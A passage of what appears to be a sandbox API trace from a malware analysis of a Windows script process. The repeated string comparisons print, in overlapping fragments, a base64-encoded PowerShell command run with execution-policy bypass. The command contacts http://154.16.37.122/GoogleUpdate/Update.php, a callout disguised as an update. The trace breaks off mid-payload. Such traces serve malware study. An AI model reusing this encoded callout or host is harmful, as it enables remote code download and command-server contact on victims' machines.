dwHighDateTime=0x1d4a74f)) [0173.521] GetCurrentProcessId () returned 0x8dc [0173.521] GetCurrentThreadId () returned 0x844 [0173.521] GetTickCount () returned 0x37992 [0173.521] QueryPerformanceCounter (in: lpPerformanceCount=0x16c3d8 | out: lpPerformanceCount=0x16c3d8*=1824693100000) returned 1 [0173.521] __dllonexit () returned 0x7fef92014c0 [0173.521] __dllonexit () returned 0x7fef92014e8 [0173.521] GetVersionExA (in: lpVersionInformation=0x16c1b0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7fe, dwMinorVersion=0xf9202dc9, dwBuildNumber=0x7fe, dwPlatformId=0xf92014e8, szCSDVersion="\xfe\x07") | out: lpVersionInformation=0x16c1b0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0173.521] GetProcessWindowStation () returned 0x30 [0173.521] GetUserObjectInformationA (in: hObj=0x30, nIndex=1, pvInfo=0x16c198, nLength=0xc, lpnLengthNeeded=0x16c190 | out: pvInfo=0x16c198, lpnLengthNeeded=0x16c190) returned 1 [0173.522] DllGetClassObject (in: rclsid=0x32e8f0*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7feffbc6cd0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16cea0 | out: ppv=0x16cea0*=0x5d5a90) returned 0x0 [0173.522] IClassFactory:CreateInstance (in: This=0x5d5a90, pUnkOuter=0x0, riid=0x16dc80*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x16cec0 | out: ppvObject=0x16cec0*=0x5db5b0) returned 0x0 [0173.522] GetSystemInfo (in: lpSystemInfo=0x16cd00 | out: lpSystemInfo=0x16cd00*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0173.522] VirtualQuery (in: lpAddress=0x16cd70, lpBuffer=0x16cd30, dwLength=0x30 | out: lpBuffer=0x16cd30*(BaseAddress=0x16c000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0173.523] IUnknown:AddRef (This=0x5db5b0) returned 0x2 [0173.523] IUnknown:Release (This=0x5db5b0) returned 0x1 [0173.523] IUnknown:Release (This=0x5d5a90) returned 0x0 [0173.523] IUnknown:QueryInterface (in: This=0x5db5b0, riid=0x7fef924f860*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x16e108 | out: ppvObject=0x16e108*=0x5db5b0) returned 0x0 [0173.523] IUnknown:Release (This=0x5db5b0) returned 0x1 [0175.496] GetACP () returned 0x4e4 [0175.576] CoCreateInstance (in: rclsid=0x7fef92286b0*(Data1=0x275c23e2, Data2=0x3747, Data3=0x11d0, Data4=([0]=0x9f, [1]=0xea, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3f, [6]=0x86, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7fef92286a0*(Data1=0xdccfc164, Data2=0x2b38, Data3=0x11d2, Data4=([0]=0xb7, [1]=0xec, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x8f, [6]=0x5d, [7]=0x9a)), ppv=0x16e0c0 | out: ppv=0x16e0c0*=0x324490) returned 0x0 [0176.067] IUnknown:Release (This=0x324490) returned 0x0 [0176.092] CoUninitialize () [0176.092] CloseHandle (hObject=0x140) returned 1 [0176.092] wcsncmp (_String1="var c='cG93ZXJzaGVsbCAtbm9wIC1leG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105 [0176.092] wcsncmp (_String1="ar c='cG93ZXJzaGVsbCAtbm9wIC1leGV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84 [0176.092] wcsncmp (_String1="r c='cG93ZXJzaGVsbCAtbm9wIC1leGVj", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101 [0176.092] wcsncmp (_String1=" c='cG93ZXJzaGVsbCAtbm9wIC1leGVjI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 19 [0176.092] wcsncmp (_String1="c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.092] wcsncmp (_String1="='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 48 [0176.092] wcsncmp (_String1="'cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 26 [0176.092] wcsncmp (_String1="cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.092] wcsncmp (_String1="G93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0176.092] wcsncmp (_String1="93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0176.092] wcsncmp (_String1="3ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 38 [0176.092] wcsncmp (_String1="ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.092] wcsncmp (_String1="XJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0176.092] wcsncmp (_String1="JzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0176.092] wcsncmp (_String1="zaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAt", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.092] wcsncmp (_String1="aGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtY", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84 [0176.092] wcsncmp (_String1="GVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0176.092] wcsncmp (_String1="VsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.093] wcsncmp (_String1="sbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102 [0176.093] wcsncmp (_String1="bCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0176.093] wcsncmp (_String1="CAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54 [0176.093] wcsncmp (_String1="Atbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0176.093] wcsncmp (_String1="tbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103 [0176.093] wcsncmp (_String1="bm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0176.093] wcsncmp (_String1="m9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0176.093] wcsncmp (_String1="9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0176.093] wcsncmp (_String1="wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106 [0176.093] wcsncmp (_String1="IC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0176.093] wcsncmp (_String1="C1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54 [0176.093] wcsncmp (_String1="1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3R", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36 [0176.093] wcsncmp (_String1="leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3Rl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0176.093] wcsncmp (_String1="eGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3Rlb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88 [0176.093] wcsncmp (_String1="GVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0176.093] wcsncmp (_String1="VjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.093] wcsncmp (_String1="jIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5O", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 93 [0176.093] wcsncmp (_String1="IGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0176.093] wcsncmp (_String1="GJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0176.093] wcsncmp (_String1="J5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0176.093] wcsncmp (_String1="5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0176.093] wcsncmp (_String1="cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.093] wcsncmp (_String1="GFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0176.093] wcsncmp (_String1="FzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2V", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57 [0176.093] wcsncmp (_String1="zcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2Vi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.093] wcsncmp (_String1="cyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViU", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.093] wcsncmp (_String1="yAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0176.093] wcsncmp (_String1="AtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0176.093] wcsncmp (_String1="tYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVx", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103 [0176.093] wcsncmp (_String1="YyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxd", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 76 [0176.093] wcsncmp (_String1="yAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0176.093] wcsncmp (_String1="AiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0176.093] wcsncmp (_String1="iJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92 [0176.093] wcsncmp (_String1="JHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzd", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0176.093] wcsncmp (_String1="HI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0176.093] wcsncmp (_String1="I9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0176.093] wcsncmp (_String1="9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0176.093] wcsncmp (_String1="W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06O", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 74 [0176.093] wcsncmp (_String1="1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06Ok", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36 [0176.093] wcsncmp (_String1="N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0176.093] wcsncmp (_String1="5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0176.093] wcsncmp (_String1="c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.093] wcsncmp (_String1="3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 38 [0176.093] wcsncmp (_String1="RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0176.093] wcsncmp (_String1="lbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0176.094] wcsncmp (_String1="bS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0Z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0176.094] wcsncmp (_String1="S5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0176.094] wcsncmp (_String1="5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSg", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0176.094] wcsncmp (_String1="OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66 [0176.094] wcsncmp (_String1="ZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgna", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.094] wcsncmp (_String1="XQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0176.094] wcsncmp (_String1="QuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 68 [0176.094] wcsncmp (_String1="uV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104 [0176.094] wcsncmp (_String1="V2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.094] wcsncmp (_String1="2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cD", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0176.094] wcsncmp (_String1="ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.094] wcsncmp (_String1="iUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDov", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92 [0176.094] wcsncmp (_String1="UmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovL", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72 [0176.094] wcsncmp (_String1="mVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0176.094] wcsncmp (_String1="VxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.094] wcsncmp (_String1="xdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107 [0176.094] wcsncmp (_String1="dWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1N", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87 [0176.094] wcsncmp (_String1="WVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 74 [0176.094] wcsncmp (_String1="VzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.094] wcsncmp (_String1="zdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4x", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.094] wcsncmp (_String1="dF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87 [0176.094] wcsncmp (_String1="F06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57 [0176.094] wcsncmp (_String1="06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0176.094] wcsncmp (_String1="6OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 41 [0176.094] wcsncmp (_String1="OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66 [0176.094] wcsncmp (_String1="kNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0176.094] wcsncmp (_String1="NyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0176.094] wcsncmp (_String1="yZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4x", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0176.094] wcsncmp (_String1="ZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xM", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.094] wcsncmp (_String1="WF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMj", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 74 [0176.094] wcsncmp (_String1="F0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57 [0176.094] wcsncmp (_String1="0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIv", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0176.094] wcsncmp (_String1="ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.094] wcsncmp (_String1="SgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0176.094] wcsncmp (_String1="gnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90 [0176.094] wcsncmp (_String1="naHR0cDovLzE1NC4xNi4zNy4xMjIvR29v", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97 [0176.094] wcsncmp (_String1="aHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84 [0176.094] wcsncmp (_String1="HR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0176.094] wcsncmp (_String1="R0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2x", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0176.094] wcsncmp (_String1="0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0176.094] wcsncmp (_String1="cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.094] wcsncmp (_String1="DovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 55 [0176.094] wcsncmp (_String1="ovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXB", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98 [0176.094] wcsncmp (_String1="vLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBk", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105 [0176.094] wcsncmp (_String1="LzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkY", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 63 [0176.094] wcsncmp (_String1="zE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.095] wcsncmp (_String1="E1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 56 [0176.095] wcsncmp (_String1="1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36 [0176.095] wcsncmp (_String1="NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0176.095] wcsncmp (_String1="C4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54 [0176.095] wcsncmp (_String1="4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1V", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 39 [0176.095] wcsncmp (_String1="xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1Vw", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107 [0176.095] wcsncmp (_String1="Ni4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0176.095] wcsncmp (_String1="i4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92 [0176.095] wcsncmp (_String1="4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 39 [0176.095] wcsncmp (_String1="zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.095] wcsncmp (_String1="Ny4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0Z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0176.095] wcsncmp (_String1="y4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0176.095] wcsncmp (_String1="4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 39 [0176.095] wcsncmp (_String1="xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5w", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107 [0176.095] wcsncmp (_String1="MjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5wa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 64 [0176.095] wcsncmp (_String1="jIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 93 [0176.095] wcsncmp (_String1="IvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0176.095] wcsncmp (_String1="vR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105 [0176.095] wcsncmp (_String1="R29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnK", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0176.095] wcsncmp (_String1="29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0176.095] wcsncmp (_String1="9vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTs", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0176.095] wcsncmp (_String1="vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsg", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105 [0176.095] wcsncmp (_String1="Z2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.095] wcsncmp (_String1="2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0176.095] wcsncmp (_String1="xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107 [0176.095] wcsncmp (_String1="lVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0176.095] wcsncmp (_String1="VXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.095] wcsncmp (_String1="XBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0176.095] wcsncmp (_String1="BkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 53 [0176.095] wcsncmp (_String1="kYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0176.095] wcsncmp (_String1="YXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9J", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 76 [0176.095] wcsncmp (_String1="XRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0176.095] wcsncmp (_String1="RlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0176.095] wcsncmp (_String1="lL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0176.095] wcsncmp (_String1="L1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 63 [0176.095] wcsncmp (_String1="1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36 [0176.095] wcsncmp (_String1="VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.095] wcsncmp (_String1="wZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106 [0176.095] 